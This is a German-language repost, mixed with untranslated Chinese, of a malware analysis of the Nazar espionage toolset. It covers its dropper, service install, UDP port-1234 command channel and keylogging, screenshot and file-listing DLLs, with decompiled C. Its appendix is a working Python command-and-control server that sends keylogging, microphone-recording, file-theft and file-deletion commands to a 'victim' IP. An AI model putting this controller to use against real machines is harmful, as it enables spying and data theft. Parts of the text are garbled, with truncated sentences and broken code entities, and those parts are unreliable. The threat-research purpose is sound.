Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So analysieren Sie Nazar-Komponenten eingehend

So analysieren Sie Nazar-Komponenten eingehend

WBOY
WBOYnach vorne
2023-05-12 16:46:06703Durchsuche

07.11.2012, 06:22 Uhr, Concker immer noch am Ziel

07.11.2012, 06:18 Uhr Protokolle prüfen – wir sind sauber 02.02.07.2012 20:16 – BOOM!, habe den Rückruf erhalten

Dies sind Aufzeichnungen, die die Equation Group (NSA) bei Angriffen auf Zielsysteme hinterlassen hat und die später von Shadow Brokers durchgesickert sind. Kürzlich haben Sicherheitsforscher eine bisher falsch identifizierte und unbekannte Bedrohungsgruppe Nazar aufgedeckt. Im Folgenden finden Sie eine detaillierte Analyse der Nazar-Komponenten.

Hintergrund des Vorfalls

Die durchgesickerten Daten von Shadow Brokers brachten zahlreiche Schwachstellen, wie z. B. EternalBlue, ins Rampenlicht, enthielten aber auch viele weitere wertvolle Komponenten, die zeigten, was die Equation Group vor dem Start des Angriffs tat.


如何深度分析Nazar 组件Zum Beispiel befindet sich in der geleakten Datei eine Datei mit dem Namen „drv_list.txt“, die eine Liste von Treibernamen und entsprechenden Kommentaren enthält, die die Informationen an den Angreifer sendet, wenn der Treiber auf dem Ziel gefunden wird System wer. Die Liste enthält auch die Namen schädlicher Treiber. Wenn diese schädlichen Treiber gefunden werden, weist dies darauf hin, dass das Zielsystem von anderen kompromittiert wurde, und warnt den Angreifer dann, sich zurückzuziehen. Die für diese Art der Inspektion verantwortliche Schlüsselkomponente heißt „Territorialstreit“ oder „TeDi“.


如何深度分析Nazar 组件 „TeDi“ enthält 45 Signaturen, die Zielsysteme nach Registrierungsschlüsseln und Dateinamen durchsuchen, die mit anderen Bedrohungsgruppen verknüpft sind. Im Gegensatz zu Sicherheitsscans besteht das ultimative Ziel des Angreifers darin, sicherzustellen, dass seine eigenen Abläufe nicht gestört werden und dass andere Angreifer ihre Tools nicht erkennen.


如何深度分析Nazar 组件 In einigen Fällen beeinträchtigt die Verhinderung eigener Operationen nicht die Operation „freundlicher“ Bedrohungsgruppen und greift nicht gleichzeitig dasselbe Ziel an.


Sicherheitsforscher wiesen darauf hin, dass die 37. Signatur in „TeDi“ nach einer Datei namens „Godown.dll“ sucht, die auf die iranische Bedrohungsgruppe „Nazar“ verweist. ​ 如何深度分析Nazar 组件

如何深度分析Nazar 组件Ausführungsprozess

Nazar wurde etwa 2008 aktiv, möglicherweise im Zusammenhang mit der 37. „TeDi“-Signatur, die für die Erkennung des Nazar-Tool-Plug-Ins „Godown.dll“ verantwortlich ist.

如何深度分析Nazar 组件

Die von Nazar zunächst ausgeführte Binärdatei ist gpUpdates.exe. Es handelt sich um ein selbstextrahierendes Archiv (SFX), das mit „Zip 2 Secure EXE“ erstellt wurde. Nach der Ausführung schreibt gpUpdates drei Dateien auf die Festplatte: Data.bin, info und Distribute.exe, und dann startet gpUpdates.exe Distribute.exe.

Distribute.exe

如何深度分析Nazar 组件Zuerst liest Distribute.exe info und Data.bin. Data.bin ist ein binärer Blob, der mehrere PE-Dateien enthält. Die Infodatei ist sehr klein und enthält eine einfache Struktur, die die Länge der PE-Datei in Data.bin darstellt. Distribute.exe liest Data.bin nacheinander in der Reihenfolge der Dateilänge. Die folgende Tabelle zeigt die Beziehung zwischen der Datei „Data.bin“ und der Länge des Info-Schreibvorgangs.


Danach verwendet Distribute.exe regsv***, um 3 DLL-Dateien in die Registrierung zu schreiben.

如何深度分析Nazar 组件Verwenden Sie CreateServiceA, um svchost.exe als Dienst mit dem Namen „EYService“ hinzuzufügen, starten Sie den Dienst und beenden Sie ihn. Dieser Dienst ist der Hauptteil des Angriffs und koordiniert das Nazar-Anrufmodul.


Kommunikationsanalyse如何深度分析Nazar 组件

Nachdem der Dienst ausgeführt wurde, richten Sie zunächst das Paket-Sniffing ein.

DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

Immer wenn ein UDP-Paket eintrifft, unabhängig davon, ob eine Antwort vorliegt, wird seine Quell-IP zur Verwendung in der nächsten Antwort protokolliert. Anschließend wird der Zielport des Pakets überprüft. Wenn dieser 1234 ist, werden die Daten an den Befehlsprozessor weitergeleitet. 如何深度分析Nazar 组件

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

Datenantwort

Jede Antwort wird in drei Typen unterteilt:

1. ACK senden: Zielport 4000, 0000


2. Computerinformationen senden: Zielport 4000, Nutzlast 100; ;

3、发送文件:通过UDP发送数据,然后是带有的数据包。如果服务器将标识为0x3456的数据包发送到目标端口1234,恶意软件将使用目标端口0x5634发送响应。

如何深度分析Nazar 组件

支持命令

下表为命令支持列表:

如何深度分析Nazar 组件

Dll分析

Godown.dll

Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。    

Filesystem.dll

Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。

目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:    

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。    

如何深度分析Nazar 组件    

hodll.dll

hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。    

ViewScreen.dll

该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。     

附录

IOCs

如何深度分析Nazar 组件

Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H&#39;,4000))[0]
def get_response(sock, should_loop):
    started = False
    total_payload = b&#39;&#39;
    while(should_loop or not started):
        try:
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
                payload, client_address = sock.recvfrom(4096)
        
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord(&#39;9&#39;)):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim&#39;s machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim&#39;s machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input(&#39;> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

Das obige ist der detaillierte Inhalt vonSo analysieren Sie Nazar-Komponenten eingehend. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen